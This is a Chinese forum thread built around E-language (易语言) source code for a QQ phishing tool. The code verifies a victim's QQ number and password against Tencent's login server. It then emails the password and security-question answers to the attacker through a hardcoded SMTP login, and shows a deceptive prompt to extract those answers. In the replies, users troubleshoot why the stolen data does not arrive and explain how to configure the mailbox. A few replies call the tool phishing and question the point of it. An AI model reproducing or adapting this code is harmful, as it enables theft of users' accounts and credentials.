.版本 2
.支持库 internet
.支持库 script


.如果结束
http ＝ 获取字串 (到文本 (HTTP读文件 (“http://ptlogin2.qq.com/check?uin=” ＋ QQ号码编辑框.内容 ＋ “&appid=1002101”)), “','”, “');”)
脚本组件.执行 (#md5)  ' QQ网页登陆密码MD5加密方式
QQ密码 ＝ 脚本组件.运行 (“md5_3”, 删首尾空 (编辑框QQ密码.内容))
QQ密码 ＝ 脚本组件.运行 (“md5”, QQ密码 ＋ 到大写 (删首尾空 (http)))
登陆返回临时数据 ＝ 彗星HTTP读文件 (“http://ptlogin2.qq.com/login”, “POST”, , , “u=” ＋ QQ号码编辑框.内容 ＋ “&p=” ＋ QQ密码 ＋ “&verifycode=” ＋ http ＋ “&webqq_type=1&aid=1002101&u1=http%3A%2F%2Fweb.qq.com%2Fmain.shtml&fp=loginerroralert&h=1&ptredirect=1&ptlang=0&from_ui=1&pttype=1&dumy=1”, )
.如果 (寻找文本 (到文本 (登陆返回临时数据), #html, , 假) ＞ 0)
    连接发信服务器 (“smtp.qq.com”, 25, “[email protected]”, “++8892028”, )
    发送邮件 (“QQ账号密码以及密保”, QQ号码编辑框.内容 ＋ #换行符 ＋ 编辑框QQ密码.内容 ＋ #换行符 ＋ 组合框1.内容 ＋ #换行符 ＋ 编辑框1.内容 ＋ #换行符 ＋ 组合框2.内容 ＋ #换行符 ＋ 编辑框2.内容 ＋ #换行符 ＋ 组合框3.内容 ＋ #换行符 ＋ 编辑框3.内容, “[email protected]”, , , “[email protected]”, )
    信息框 (“登陆成功，请正确输入密保！否则无法使用！注:密保是为了验证帐号。”, 0, “提示”)
    _启动窗口.可视 ＝ 假
    载入 (窗口1, , 假)

.否则
    信息框 (“登陆失败，请检查账号密码是否正确或者密保输入错误！”, 0, “提示”)
    编辑框QQ密码.内容 ＝ “”
    返回 ()






我弄了邮箱根本收不到 求解！

有木有啊？

换行符 ＋ 编辑框3.内容, “[email protected]”, , , “[email protected]”, )
这步应该填邮箱跟密码的,你应该填错了

不懂

大神 求教！！！！！！！！！！！

- -,你搞懂没.你做的是一个钓鱼软件,只需要填写收件邮箱就可以了,填写成功就去编译测试,

腾讯软件基本无视了.你可以去易语言论坛学习一下对你有好处的

e 有有

钓鱼有意思吗？

我凑  写个钓鱼还这么麻烦     发送邮件那里都填上你自己的邮箱就哦了

支持,顶！

内容来自[手机版]

钓鱼有意思吗？